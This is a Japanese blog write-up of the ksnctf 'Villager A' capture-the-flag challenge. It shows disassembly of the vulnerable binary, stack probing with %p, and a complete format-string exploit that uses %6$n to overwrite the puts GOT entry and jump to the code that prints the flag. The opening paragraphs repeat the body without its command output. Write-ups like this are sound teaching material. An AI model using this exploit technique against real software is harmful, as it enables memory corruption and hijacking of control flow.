ksnctfの4問目、Villager A を解きました。
readmeには大したこと書いてなかった。
flag.txtはもちろん開けない。
とりあえずq4を実行してみる。
"no"と答えるまで煽られ続ける模様。
ユーザーが入力した値を出力しているあたり、この前本で読んだばかりの書式文字列攻撃を使うっぽい。
いきなりアセンブリ読むのもアレなのでstringsかけてみる。
stringsコマンドは、ファイルに含まれる文字列を出力してくれる。
どうにかすればfopenでflag.txtの中身を出力してくれると予想。
ここでもう一度q4を実行。
これは、例えばC言語で"printf(str)"(ここでstrは、ユーザーが値を入力した 文字列変数)としてしまったことによって起きる現象で、文字列にAAAA%p,%p,%p,%p,%p,%pなどと入力されてしまうと"printf(AAAA%p,%p,%p,%p,%p,%p)"となり、スタックからデータが読み込まれてしまう。
やはり書式文字列攻撃ができる気がする。
逆アセンブルをして処理を見てみる。まずはメイン関数。
fopenを使ってフラグを読み出す前の"Do you want the flag?"の質問に"no"と答えるとプログラムの最後に飛ばされ、それ以外を答えるともう一度質問するようになっているために、flagを出力する処理がされないことがわかった。
ということで、どうにかしてプログラムの実行位置を"8048691: mov DWORD PTR [esp+0x4],0x80487e6"の部分まで持ってこなければならない。なんとなくputs関数を見てみると、、、
2行目の"80484c4: jmp DWORD PTR ds:0x80499f4"で、"0x80499f4"に書かれているアドレスに処理が移動するので、"0x80499f4"にflagを表示させる処理が始まっている"0x8048691"を書き込ことができたらおk。
メモリに数値を書き込みたいとき、"%n"というフォーマット指定子を使う。
%i(i:整数値)\$nを使うと、i番目のスタックに格納されている値が示すアドレスに、現在printfで表示されている文字数が4バイト整数値として書き込まれる。
また、"%hn"は2バイト整数値、"%hhn"は1バイト整数値として書き込む。
これらの性質を利用して実際に"0x80499f4"に"0x8048691"を書き込んでみる。
まず、%nで書き込むために"0x80499f4"というアドレスを指定。
リトルエンディアンであることに注意。
6番目のスタックに"0x80499f4"と書き込むことができた。
次に"0x80499f4"に"0x8048691"(=10進数で134514321)と書き込む。
すでにアドレスの指定で4文字入力したので、あとは134514317文字入力し、%6\$nを使って書き込めば良い。
この時、"%j(j:整数値)x"とすればj文字入力することができるため…
1〜2分間空白文字が出力された後、FLAGが出てきた。
ここでは分かりやすくする為に%nのみを使ってメモリの値を操作したが、%hnや%hhnを使ったほうがよりスマートに解くことができる。
問題
問題ページにはアドレス、ID、パスワードが書かれているのでSSHでログイン。
ログインしたら、とりあえずls。
ログインしたら、とりあえずls。
$ ls
flag.txt q4 readme.txt
readmeには大したこと書いてなかった。
flag.txtはもちろん開けない。
とりあえずq4を実行してみる。
$ ./q4
What's your name?
Sugita Genpaku
Hi, Sugita Genpaku
Do you want the flag?
はい
Do you want the flag?
yes
Do you want the flag?
نعم فعلا
Do you want the flag?
いいえ
Do you want the flag?
no
I see. Good bye.
"no"と答えるまで煽られ続ける模様。
ユーザーが入力した値を出力しているあたり、この前本で読んだばかりの書式文字列攻撃を使うっぽい。
いきなりアセンブリ読むのもアレなのでstringsかけてみる。
stringsコマンドは、ファイルに含まれる文字列を出力してくれる。
strings q4
/lib/ld-linux.so.2
libstdc++.so.6
__gmon_start__
_Jv_RegisterClasses
__gxx_personality_v0
libm.so.6
libgcc_s.so.1
libc.so.6
_IO_stdin_used
fopen
puts
putchar
stdin
printf
fgets
strcmp
__libc_start_main
CXXABI_1.3
GLIBC_2.1
GLIBC_2.0
PTRh
[^_]
What's your name?
Hi,
Do you want the flag?
I see. Good bye.
flag.txt
どうにかすればfopenでflag.txtの中身を出力してくれると予想。
ここでもう一度q4を実行。
$ ./q4
What's your name?
AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
Hi, AAAA0x400,0x4698c0,0x8,0x14,0x61efc4,0x41414141,0x252c7025,0x70252c70,0x2c70252c,0x252c7025
これは、例えばC言語で"printf(str)"(ここでstrは、ユーザーが値を入力した 文字列変数)としてしまったことによって起きる現象で、文字列にAAAA%p,%p,%p,%p,%p,%pなどと入力されてしまうと"printf(AAAA%p,%p,%p,%p,%p,%p)"となり、スタックからデータが読み込まれてしまう。
やはり書式文字列攻撃ができる気がする。
逆アセンブルをして処理を見てみる。まずはメイン関数。
$ objdump -d --no -M intel q4
~~省略~~
080485b4 <main>:
80485b4: push ebp
80485b5: mov ebp,esp
80485b7: and esp,0xfffffff0
80485ba: sub esp,0x420
80485c0: mov DWORD PTR [esp],0x80487a4
80485c7: call 80484c4 <puts@plt>
80485cc: mov eax,ds:0x8049a04
80485d1: mov DWORD PTR [esp+0x8],eax
80485d5: mov DWORD PTR [esp+0x4],0x400
80485dd: lea eax,[esp+0x18]
80485e1: mov DWORD PTR [esp],eax
80485e4: call 8048484 <fgets@plt>
80485e9: mov DWORD PTR [esp],0x80487b6
80485f0: call 80484b4 <printf@plt>
80485f5: lea eax,[esp+0x18]
80485f9: mov DWORD PTR [esp],eax
80485fc: call 80484b4 <printf@plt>
8048601: mov DWORD PTR [esp],0xa
8048608: call 8048474 <putchar@plt>
804860d: mov DWORD PTR [esp+0x418],0x1
8048618: jmp 8048681 <main+0xcd>
804861a: mov DWORD PTR [esp],0x80487bb
8048621: call 80484c4 <puts@plt>
8048626: mov eax,ds:0x8049a04
804862b: mov DWORD PTR [esp+0x8],eax
804862f: mov DWORD PTR [esp+0x4],0x400
8048637: lea eax,[esp+0x18]
804863b: mov DWORD PTR [esp],eax
804863e: call 8048484 <fgets@plt>
8048643: test eax,eax
8048645: sete al
8048648: test al,al
804864a: je 8048656 <main+0xa2>
804864c: mov eax,0x0
8048651: jmp 80486dc <main+0x128>
8048656: mov DWORD PTR [esp+0x4],0x80487d1
804865e: lea eax,[esp+0x18]
8048662: mov DWORD PTR [esp],eax
8048665: call 80484e4 <strcmp@plt>
804866a: test eax,eax
804866c: jne 8048681 <main+0xcd>
804866e: mov DWORD PTR [esp],0x80487d5
8048675: call 80484c4 <puts@plt>
804867a: mov eax,0x0
804867f: jmp 80486dc <main+0x128>
8048681: mov eax,DWORD PTR [esp+0x418]
8048688: test eax,eax
804868a: setne al
804868d: test al,al
804868f: jne 804861a <main+0x66>
8048691: mov DWORD PTR [esp+0x4],0x80487e6
8048699: mov DWORD PTR [esp],0x80487e8
80486a0: call 80484a4 <fopen@plt>
80486a5: mov DWORD PTR [esp+0x41c],eax
80486ac: mov eax,DWORD PTR [esp+0x41c]
80486b3: mov DWORD PTR [esp+0x8],eax
80486b7: mov DWORD PTR [esp+0x4],0x400
80486bf: lea eax,[esp+0x18]
80486c3: mov DWORD PTR [esp],eax
80486c6: call 8048484 <fgets@plt>
80486cb: lea eax,[esp+0x18]
80486cf: mov DWORD PTR [esp],eax
80486d2: call 80484b4 <printf@plt>
80486d7: mov eax,0x0
80486dc: leave
80486dd: ret
80486de: nop
80486df: nop
fopenを使ってフラグを読み出す前の"Do you want the flag?"の質問に"no"と答えるとプログラムの最後に飛ばされ、それ以外を答えるともう一度質問するようになっているために、flagを出力する処理がされないことがわかった。
ということで、どうにかしてプログラムの実行位置を"8048691: mov DWORD PTR [esp+0x4],0x80487e6"の部分まで持ってこなければならない。なんとなくputs関数を見てみると、、、
080484c4 <puts@plt>:
80484c4: jmp DWORD PTR ds:0x80499f4
80484ca: push 0x30
80484cf: jmp 8048454 <_init+0x30>
2行目の"80484c4: jmp DWORD PTR ds:0x80499f4"で、"0x80499f4"に書かれているアドレスに処理が移動するので、"0x80499f4"にflagを表示させる処理が始まっている"0x8048691"を書き込ことができたらおk。
メモリに数値を書き込みたいとき、"%n"というフォーマット指定子を使う。
%i(i:整数値)\$nを使うと、i番目のスタックに格納されている値が示すアドレスに、現在printfで表示されている文字数が4バイト整数値として書き込まれる。
また、"%hn"は2バイト整数値、"%hhn"は1バイト整数値として書き込む。
これらの性質を利用して実際に"0x80499f4"に"0x8048691"を書き込んでみる。
まず、%nで書き込むために"0x80499f4"というアドレスを指定。
リトルエンディアンであることに注意。
$ echo -e "\xf4\x99\x04\x08%p,%p,%p,%p,%p,%p,%p,%p" | ./q4
What's your name?
Hi, ?0x400,0xc738c0,0x8,0x14,0x9e0fc4,0x80499f4,0x252c7025,0x70252c70
6番目のスタックに"0x80499f4"と書き込むことができた。
次に"0x80499f4"に"0x8048691"(=10進数で134514321)と書き込む。
すでにアドレスの指定で4文字入力したので、あとは134514317文字入力し、%6\$nを使って書き込めば良い。
この時、"%j(j:整数値)x"とすればj文字入力することができるため…
$ echo -e "\xf4\x99\x04\x08%134514317x%6\$n" | ./q4
What's your name?
Hi, ?
~~1億3451万4317個の空白文字〜〜
FLAG_XXXXXXXXXXXXX
1〜2分間空白文字が出力された後、FLAGが出てきた。
ここでは分かりやすくする為に%nのみを使ってメモリの値を操作したが、%hnや%hhnを使ったほうがよりスマートに解くことができる。
まとめ
めっっっっちゃ疲れた。。。
コメント
コメントを投稿